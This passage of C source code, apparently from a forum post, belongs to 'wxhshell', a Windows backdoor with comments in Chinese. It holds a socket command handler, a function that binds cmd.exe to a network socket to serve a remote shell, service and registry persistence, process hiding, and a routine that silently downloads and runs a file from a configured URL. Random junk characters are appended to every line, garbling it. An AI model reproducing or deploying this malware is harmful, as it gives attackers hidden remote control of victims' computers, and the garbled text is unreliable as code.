  else { _a3,Zuv  
5I(gP  
    switch(cmd[0]) { (!0=~x|Z[  
  P{!r<N  
  // 帮助 `1$7. ydQ  
  case '?': { Y=#g_(4*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k 8Swra?j  
    break; u\-f\Z7  
  } I}aiy.l  
  // 安装 %TA3o71  
  case 'i': { 7TC=$y ,  
    if(Install()) 6jRUkI-!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TCd1JF0  
    else [foZO&+!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -H%806NAX7  
    break; u!X$M?D4  
    } <R.5 Ma  
  // 卸载 '14 G0<;yL  
  case 'r': { )&j4F)  
    if(Uninstall()) i 7fQj, q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s C9j73 vf  
    else JRm:hf'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H?P:;1A]c  
    break; tfr*/+F  
    } IR+dGqIjZb  
  // 显示 wxhshell 所在路径 Qn77ZpL:LJ  
  case 'p': { \I@=EF- &  
    char svExeFile[MAX_PATH]; 62&(+'$n  
    strcpy(svExeFile,"\n\r"); %s;#epP$  
      strcat(svExeFile,ExeFile); u(7PtmV[!  
        send(wsh,svExeFile,strlen(svExeFile),0); i '5Q.uX  
    break; t&SC>8M<  
    } .O{2]e$  
  // 重启 `5[d9z/6  
  case 'b': { 1}C|Javkn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '*5I5'[ X,  
    if(Boot(REBOOT)) @N,EoSb :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;~$_A4;  
    else { Zu\(XN?62  
    closesocket(wsh); &i8AB{OU  
    ExitThread(0); x.CNDG  
    } 1Z?en  
    break; +s:!\(BM  
    } 4|uh&4"*@W  
  // 关机 #7IM#t c@  
  case 'd': { Fg)Iw<7_2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fQ5V RpWGn  
    if(Boot(SHUTDOWN)) WHQg6r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CBA MAr  
    else { njveZav  
    closesocket(wsh); bsw0+UY=9  
    ExitThread(0); XO+^q9  
    } 'ao<gTUbu  
    break; :?s~,G_*l  
    } I @TR|  
  // 获取shell \0iF <0oy  
  case 's': { |1zoT|}q  
    CmdShell(wsh); 31 \l0Jg  
    closesocket(wsh); 4=S.U`t7  
    ExitThread(0); RU3:[ (7  
    break; F_o5(`>^  
  } W3s>+yU  
  // 退出 [R[]&\W  
  case 'x': { hA.?19<Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n}MW# :eJe  
    CloseIt(wsh); :?%$={m  
    break; :c@v_J6C&  
    } V&U1WV/  
  // 离开 *HFRG)[V  
  case 'q': { :DTKZ9>2D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T u>5H`  
    closesocket(wsh); FS7 _ldD  
    WSACleanup(); `iYiAc  
    exit(1); duCxYhh|  
    break; a>x3UVf_  
        } z^z_!@7v   
  } "c8 -xG  
  } O4w6\y3U  
r>4HF"Nm  
  // 提示信息 % UDz4?zx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :ulOG{z  
} h.PVRAwk  
  } U5N/'p%)<  
f%fD>a  
  return; w& yK*nBK  
} JDcc`&`M  
]hNio6CVm  
// shell模块句柄 t*H r(|.  
int CmdShell(SOCKET sock) U$+EUDFi3_  
{ %M8 m 8 )  
STARTUPINFO si; dU`kJ,=Z  
ZeroMemory(&si,sizeof(si)); q`1"]gy.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y+vG ]?D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `@%hz%8Y  
PROCESS_INFORMATION ProcessInfo; 72uARF  
char cmdline[]="cmd"; oasp/Y.p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cu{c:z~  
  return 0; T1,Nb>gBq^  
} ]-ad\PI$  
}8 V/Cd9  
// 自身启动模式 g{|F<2rd[m  
int StartFromService(void) je_:hDr  
{ I'6 wh+  
typedef struct <'WS -P%U  
{ n hT%_se4  
  DWORD ExitStatus; 8EbJ5wu/%S  
  DWORD PebBaseAddress; /e|vz^#+1,  
  DWORD AffinityMask; gY!+x=cx0  
  DWORD BasePriority; lICpfcc(+  
  ULONG UniqueProcessId; -|F(qf  
  ULONG InheritedFromUniqueProcessId; MTI[Mez  
}   PROCESS_BASIC_INFORMATION; `Vph=`0  
}6S~"<Ym  
PROCNTQSIP NtQueryInformationProcess; t`F<lOKj  
73C7g< Mx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }EJAC*W,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;og[ q  
tW$Di*h  
  HANDLE             hProcess; 4~8!3JH39  
  PROCESS_BASIC_INFORMATION pbi; +\s32o zg  
{&u`d.Lk2p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gl am(V1  
  if(NULL == hInst ) return 0; q>X30g  
{ Q?\%4>2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KOv?p@d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nqy)jfyex  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Al93x  
r<)>k.] !  
  if (!NtQueryInformationProcess) return 0; &];:uYmMU  
G q&[T:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Bk>'  
  if(!hProcess) return 0; {OIktG2gZ  
+HAd=DU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :,8eM{.Q  
RyuI2jEy  
  CloseHandle(hProcess); v % c-El%  
z5tOsU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uo]x6j<  
if(hProcess==NULL) return 0; rl__3q  
_6Z}_SiOl  
HMODULE hMod; v)c[-:"z  
char procName[255]; c.?+rcnq  
unsigned long cbNeeded; }LA7ku  
sUe<21:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gH u!~l  
iJaA&z5sr  
  CloseHandle(hProcess); ^2f2g>9j_C  
6'a1]K  
if(strstr(procName,"services")) return 1; // 以服务启动 <jz\U7TBf  
>Y)FoHa+/  
  return 0; // 注册表启动 QnMN8Q9  
} zNh$d;(O$^  
K0 6 E:  
// 主模块 _GtG8ebr  
int StartWxhshell(LPSTR lpCmdLine) }"\jB  
{ oMV^W^<  
  SOCKET wsl; |M$ESj4@  
BOOL val=TRUE; %CaF-m=Pq  
  int port=0; J_@`:l0,z  
  struct sockaddr_in door; *Q`y'6S  
7nl  
  if(wscfg.ws_autoins) Install(); ,\CG}-v@CN  
U/j+\Kc~  
port=atoi(lpCmdLine); V|T3blG?D  
\0bZ1"  
if(port<=0) port=wscfg.ws_port; =JDa[_lpN  
@7z_f!'u  
  WSADATA data; !fT3mI6u\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *{%d{x}l  
r$/.x6g//  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <1XJa2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ptCAtEO72  
  door.sin_family = AF_INET; 1 GB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D  Kng.P  
  door.sin_port = htons(port); cuUlr  
?5Ub&{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?YA5g' l  
closesocket(wsl); )u}MyFl.  
return 1; .#wU+t>  
} ,].S~6IM  
*p>1s!i  
  if(listen(wsl,2) == INVALID_SOCKET) { =2tl149m/z  
closesocket(wsl); = k|hH~  
return 1; <cx,Z5W  
} Ag@R60#  
  Wxhshell(wsl); Xw<5VIAHm;  
  WSACleanup(); r<XlIi  
)WR*8659e  
return 0; t^(#~hx  
<Q%:c4N  
} > qDHb'  
z;KUIWg  
// 以NT服务方式启动 >x 6$F*:W}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NX5NE2@^qH  
{ g$eZT{{W  
DWORD   status = 0; ;x~[om21;  
  DWORD   specificError = 0xfffffff; }y P98N5o  
V9r58hbVT  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  l6uU S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MI<XLn!*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PdNxuy  
  serviceStatus.dwWin32ExitCode     = 0; k w]m7 T  
  serviceStatus.dwServiceSpecificExitCode = 0; b/Q\ .!  
  serviceStatus.dwCheckPoint       = 0; JJn+H&[B  
  serviceStatus.dwWaitHint       = 0; Me|+)}'p5h  
$h|rd+},  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ko<iG]Dv'  
  if (hServiceStatusHandle==0) return; JHCV7$RS  
( O>oN~  
status = GetLastError(); . 7EZB  
  if (status!=NO_ERROR) dS[="Set  
{ `+go| 5N2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =P"Sm r  
    serviceStatus.dwCheckPoint       = 0; Hxm CKW!  
    serviceStatus.dwWaitHint       = 0; c6NCy s  
    serviceStatus.dwWin32ExitCode     = status; _Mis-K:]{?  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;"@FLq(n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); te b~KM  
    return; :/ yR  
  } : %hxg  
?fXlrJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wc ! v /A  
  serviceStatus.dwCheckPoint       = 0; dqvgyyq  
  serviceStatus.dwWaitHint       = 0; ,B<Tt|'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }M I9?\"q  
} }ST0?_0F*  
]&D;'),   
// 处理NT服务事件,比如:启动、停止 bC mhlSNi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `Y`QxU!d%  
{ tR]1c  
switch(fdwControl) 7v~\c%1V  
{ ZoiCdXvTN  
case SERVICE_CONTROL_STOP: %Jr6pmc  
  serviceStatus.dwWin32ExitCode = 0; |F'k5Lh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [-bT_X  
  serviceStatus.dwCheckPoint   = 0; q&-A}]  
  serviceStatus.dwWaitHint     = 0; o5N];Nj  
  { U/JeEI%L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Va1 eG]jQ  
  } M zLx2?  
  return; z <"7vR  
case SERVICE_CONTROL_PAUSE: F<UEipe/N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mYudUn4Wo  
  break; wghz[qe  
case SERVICE_CONTROL_CONTINUE: ?6bk&"T?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rp2~d  
  break; oj7X9~ nd  
case SERVICE_CONTROL_INTERROGATE: 9K8f ##3  
  break; oK GFDl]3  
}; \kpk-[W*x{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $o"PQ!z  
} z:aT5D  
I [J0r  
// 标准应用程序主函数 S!GjCog^J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #_+T@|r  
{ !Cj1:P  
6NCa=9  
// 获取操作系统版本 ,uD>.->  
OsIsNt=GetOsVer(); A}#@(ma7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F*QD\sG:  
`F>1xMm  
  // 从命令行安装 cz/mUU  
  if(strpbrk(lpCmdLine,"iI")) Install(); JlF0L%Rc  
C.{*|#&GAt  
  // 下载执行文件 5hE8b  {V  
if(wscfg.ws_downexe) { j\nnx8`7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O\L(I079  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^yKP 99(  
} R0fZ9_d7}  
{sy#&m(el  
if(!OsIsNt) { eb:mp/  
// 如果时win9x,隐藏进程并且设置为注册表启动 {MKq Yl{  
HideProc(); /n7F]Ok'*  
StartWxhshell(lpCmdLine); Kg>+5~+E?q  
} >]=1~ sF  
else o(~>a  
  if(StartFromService()) xZS  
  // 以服务方式启动 Jug1Va<^c  
  StartServiceCtrlDispatcher(DispatchTable); _f,q8ZkSr  
else .9 WUp>  
  // 普通方式启动 <W vuW6  
  StartWxhshell(lpCmdLine); hX=+%^c%_A  
0-g,C=L  
return 0; muo7KUT  
}
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只看该作者 1 发表于: 2006-10-10
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